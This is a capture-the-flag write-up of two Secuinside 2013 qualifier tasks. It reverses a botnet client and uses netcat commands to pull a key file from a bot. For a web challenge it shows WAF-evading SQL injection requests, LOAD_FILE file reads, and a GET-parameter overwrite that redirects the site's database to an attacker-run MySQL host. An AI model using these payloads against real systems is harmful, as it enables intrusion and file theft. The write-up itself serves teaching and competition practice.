SECUINSIDE CTF Quals 2013 write-up

Hint: flag is not a frag: once you've got it, you can get one more...

While most of RDot members were taking a rest after PHDays, a couple of us solved some challenges at Secuinside CTF.
Our result is 10th place in ranking. Most of the tasks were to exploit some binary vulnerability.
There were also several reversing and web challenges.
It's quite hard to describe each solution, thus, I'll post write-ups only for two challenges, which I was glad to solve xD

"Save the zombie" (Reverse 400)
Цитата:
binary : http://war.secuinside.com/files/Apache2

server : 54.214.248.168


A program is being run by one of the hackers on an abandoned website.

Rescue the zombie PCs controlled by the hacker!
Sounds like a task about botnet hacking. Usually it requires reverse-engineering and web-hacking skills.
Код:
$ file Apache2
Apache2: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
The server 54.214.248.168 looks like an ordinary Apache server. Let's fuzz it with Dirbuster.
It finds the directory /t/.
Now let's inspect the binary with strings:
Код:
$ strings Apache2 | grep t/
f/B^t/
t/>E
.put/
_est/EG
}t/a?HTTP/1.1 30
There're a lot of parts of some HTTP-header. Pay attention to the part marked bold.
Try: http://54.214.248.168/t/a:
Код:
t/cli.exe
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
115.68.108.68
....
Ok, now download the binary http://54.214.248.168/t/cli.exe and inspect it with IDA Pro and Hex-Rays plugin.
Код:
  *(_WORD *)&name.sa_data[0] = htons(0x1F90u);
  if ( bind(v2, &name, 16) == -1 )
0x1F90 is 8080, so, it listens for connections on port 8080. Now take a look at how does it handle connections:
Код:
        do
          Parameter = accept(s, 0, 0);
        while ( Parameter == -1 );
        v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, &Parameter, 0, 0);
        CloseHandle(v5);
So, it passes an input to the StartAddress() function. It implements a loop with some actions:
Код:
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        while ( 1 )
        {
          v6 = recv(s, buf, 4, 0);
          if ( v6 == -1 )
          {
            closesocket(s);
            LOBYTE(v10) = 1;
            sub_401DE0(&v8);
            LOBYTE(v10) = 0;
            sub_401D70(&v9);
            v10 = -1;
            sub_401A70((int)&v7);
            return 0;
          }
          if ( *(_DWORD *)buf != 1 )
            break;
          v6 = recv(s, &v7, 20524, 0);
          sub_401AD0(&v7);
          if ( send(s, buf, 4, 0) == -1 )
          {
            closesocket(s);
            LOBYTE(v10) = 1;
            sub_401DE0(&v8);
            LOBYTE(v10) = 0;
            sub_401D70(&v9);
            v10 = -1;
            sub_401A70((int)&v7);
            return 0;
          }
          if ( send(s, &v7, 20524, 0) == -1 )
          {
            closesocket(s);
            LOBYTE(v10) = 1;
            sub_401DE0(&v8);
            LOBYTE(v10) = 0;
            sub_401D70(&v9);
            v10 = -1;
            sub_401A70((int)&v7);
            return 0;
          }
        }
        if ( *(_DWORD *)buf != 2 )
          break;
        v6 = recv(s, &v9, 260, 0);
        if ( v6 == -1 )
        {
          closesocket(s);
          LOBYTE(v10) = 1;
          sub_401DE0(&v8);
          LOBYTE(v10) = 0;
          sub_401D70(&v9);
          v10 = -1;
          sub_401A70((int)&v7);
          return 0;
        }
        sub_401DC0(&v9);
        GetCurrentDirectoryA(0x104u, &Source);
        sub_401D90(&v9, &Source);
        if ( send(s, buf, 4, 0) == -1 )
        {
          closesocket(s);
          LOBYTE(v10) = 1;
          sub_401DE0(&v8);
          LOBYTE(v10) = 0;
          sub_401D70(&v9);
          v10 = -1;
          sub_401A70((int)&v7);
          return 0;
        }
        if ( send(s, &v9, 260, 0) == -1 )
        {
          closesocket(s);
          LOBYTE(v10) = 1;
          sub_401DE0(&v8);
          LOBYTE(v10) = 0;
          sub_401D70(&v9);
          v10 = -1;
          sub_401A70((int)&v7);
          return 0;
        }
      }
    }
    while ( *(_DWORD *)buf != 4 );
    if ( recv(s, &v8, 260, 0) == -1 )
    {
      closesocket(s);
      LOBYTE(v10) = 1;
      sub_401DE0(&v8);
      LOBYTE(v10) = 0;
      sub_401D70(&v9);
      v10 = -1;
      sub_401A70((int)&v7);
      return 0;
    }
    if ( send(s, buf, 4, 0) == -1 )
    {
      closesocket(s);
      LOBYTE(v10) = 1;
      sub_401DE0(&v8);
      LOBYTE(v10) = 0;
      sub_401D70(&v9);
      v10 = -1;
      sub_401A70((int)&v7);
      return 0;
    }
    if ( send(s, &v8, 260, 0) == -1 )
      break;
    sub_401E00(&v8, s);
  }
So, it waits for DWORD with the number of action. The first one outputs the list of files in the directory:
Код:
$ perl -e 'print "\x01\x00\x00\x00"' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pcC:\Users\user\Desktop\my zombie pc=<DIR>       \..
     45056  \cli.exe
        43  \my_k3y.txt
The second outputs current directory. Wait, what does the fourth action do?
Код:
sub_401E00(&v8, s);
Wow! It outputs files into the socket descriptor:
Код:
      if ( ReadFile(hObject, lpAddress, nNumberOfBytesToRead, &NumberOfBytesRead, 0) )
      {
        CloseHandle(hObject);
        send(s, (const char *)&nNumberOfBytesToRead, 4, 0);
        for ( i = 0; i < (signed int)nNumberOfBytesToRead; i += v3 )
          v3 = send(s, (const char *)lpAddress + i, nNumberOfBytesToRead - i, 0);
        VirtualFree(lpAddress, 0, 0x8000u);
        result = i;
      }
Now, we can read the key:
Код:
$ perl -e 'print "\x04\x00\x00\x00C:\\Users\\user\\Desktop\\my zombie pc\\my_k3y.txt"' | nc 115.68.108.68 8080
C:\Users\user\Desktop\my zombie pc\my_k3y.txt+
the key is "Night Of The Living Dead"
"The Bank Robber" (Web 500)
Цитата:
site : http://1.234.27.139:61080/
Brief overview tells us that it's a site on Apache web server with mod_rewrite enabled. The links look like /P.home or /M.list.idx.1 (the latter will be exploited).
Launch libpywebhack (maybe will be public soon :P):
Код:
...
Testing specific Apache issues
Trying to get real application name via invalid request...
Found real path: /Main_Site/TBR.php
...
Well, now we can try to find the real parameter named of the script:
Код:
==========
Searching for the ['get', 'post', 'cookie']-parameters of /
1300 items loaded from the base
Detecting the default page length and HTTP-code...
==========
Starting dichotomy for GET-params...
==========
.Too big base, splitting...
...
==========
Found parameters: 
==========
Starting dichotomy for POST-params...
==========
..
==========
Found parameters: 
==========
Starting dichotomy for COOKIE-params...
==========
.Too big base, splitting...
...
==========
Found parameters: 
==========
Okay, nothing. Dirbuster gave some information about directory structure (/Main_Site/modules, /Main_Site/pages, ...), but nothing sensible.
Now let's go and fuzz the form on the /M.list page, where some bullshit is listed. After some investigation we can notice that there's an SQL-injection: M.list.INJ.asd. The query is something like 'select .... where INJ=asd'. Let's exploit it, bypassing quoting with hex-literals. Actually, there's a simple WAF, which cuts some words and spaces from the query (it has been detected, 'cause a filtered input is outputed on the page). But of course, it can be easily exploited by changing the case of "dangerous" words and replacing spaces by any analogue (for example, '/**/'):
Код:
GET /M.list.2%3d1%252f**%252fUnion%252f**%252fSelect%252f**%252ftable_name,2,3,4%252f**%252fFrom%252f**%252finformation_schema%252etables%2523.1 HTTP/1.1
...
(Note that we need to double-url-encode some literals).
Nothing sensible in DB, let's take a look at file_priv:
Код:
GET /M.list.2%3d1%252f**%252fUnion%252f**%252fSelect%252f**%252fLoad_file(0x2F736974652F4D61696E5F536974652F5442522E706870),2,3,4%2523.1 HTTP/1.1
...
Wow, we can read files. Unfortunately, we cannot hex-encode the file name in 'INTO OUTFILE' expression, so, we cannot write files.
Read Apache configuration (/etc/apache2/apache2.conf, /etc/apache2/ports.conf), get the DOCUMENT_ROOT value: /site.
Now read the source code of the web-site:
PHP код:
//index.php
<?php

/*

:: HINT ::

root@ubuntu:/var/lib/php5# pwd
/var/lib/php5
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG
root@ubuntu:/var/lib/php5#

*/

ini_set("display_errors"false);
define('__BHACK__',true);
session_start();
sleep(1);
$_BHVAR = Array(
    
'path_layout'    =>    './layouts/',
    
'path_lib'    =>    './lib/',
    
'path_module'    =>    './modules/',
    
'path_page'    =>    './pages/',
    
'path_tmp'    =>    './tmp/'
);

 if(!
get_magic_quotes_gpc()){
         
$_GET escape($_GET);
         
$_POST escape($_POST);
         
$_COOKIE escape($_COOKIE);
         foreach(
$_FILES as $num => $val){
                 
$_FILES[$num]['name']=trim(mysql_real_escape_string($val['name']));
         }
 }

 function 
escape($arr) {
         if (!
is_array($arr)) return mysql_real_escape_string($arr);
         foreach(
$arr as $num => $val){
                 
$val escape($val);
                 
$arr[$num]=$val;
         }
         return 
$arr;
 }

if (!
ini_get("register_globals")) extract($_GET);

include_once 
$_BHVAR['path_lib']."database.php";
include_once 
$_BHVAR['path_module']."_system/functions.php";

if (!isset(
$_type) || !isset($_act)){
    
$_type "P";
    
$_act "home";
}

if (isset(
$_skin)){
    
$_SESSION['skin'] = $_skin;
}else if(!isset(
$_SESSION['skin'])){
    
$_SESSION['skin'] = 1;
}

$_skin $_SESSION['skin'];

db_conn();
$head $_BHVAR['path_layout'].get_layout($_skin'head');
$foot $_BHVAR['path_layout'].get_layout($_skin'foot');

echo 
file_get_contents($head);

switch (
$_type) {
    case 
"P" : echo file_get_contents($_BHVAR['path_page']."/".$_act."/_main.php"); break;
    case 
"M" : include_once $_BHVAR['path_module']."/".$_act."/_main.php"; break;
    default : break;
}

echo 
file_get_contents($foot);

?>
Okay, so, we need to read /var/lib/php5/FLAG, and we can do it via PHP, but not MySQL.
PHP код:
//functions.php
<?php
 
if(!defined('__BHACK__')) exit();

 function 
db_conn(){
     global 
$_BHVAR;
    
mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);
    
mysql_select_db($_BHVAR['db']['name']);
 }

 function 
get_layout($layout$pos){
    
$result mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
    
$row mysql_fetch_array($result);
    if (!isset(
$row['path'])){
        if (
$pos 'head'){
            return 
"./reverted/h.htm";
        } else {
            return 
"./reverted/f.htm";
        }
    }
    return 
$row['path'];
 }

 function 
filtering($str){
     
$str preg_replace("/select/",""$str);
     
$str preg_replace("/union/",""$str);
     
$str preg_replace("/from/",""$str);
     
$str preg_replace("/load_file/",""$str);
     
$str preg_replace("/ /",""$str);
     return 
$str;
 }


?>
PHP код:
//database.php
<?php
 
if(!defined('__BHACK__')) exit();
 
$_BHVAR['db'] = Array(
     
'host'    =>    'localhost',
     
'user'    =>    'bhack_db',
     
'pass'    =>    'bhack_p4zz',
     
'name'    =>    'BHACK_DB'
 
);
?>
Well, there's extract($_GET), it should be easy. But the version of PHP is not that old, so, we cannot cut the path with null-byte.
allow_url_include=Off, so, we cannot use data:// wrapper. But we can overwrite configuration of MySQL connection!
So, the steps are to set up a MySQL server with remote access (bind 0.0.0.0 and GRANT privilegies), overwrite the whole $_BHVAR and get the flag.
Код:
mysql> create table _BH_layout (path VARCHAR(128), layout_name VARCHAR(128), position VARCHAR(128));
mysql> insert into _BH_layout VALUES ('/var/lib/php5/FLAG','test1','head');
Payload:
Код:
http://1.234.27.139:61080/Main_Site/TBR.php?&_BHVAR[path_module]=./modules/&_BHVAR[db][host]=MYIP&_BHVAR[db][user]=root&_BHVAR[db][pass]=toor&_BHVAR[db][name]=test&_skin=test1
File contents:
Код:
key is... @_Y0UR_EY3_LEE_SIN_@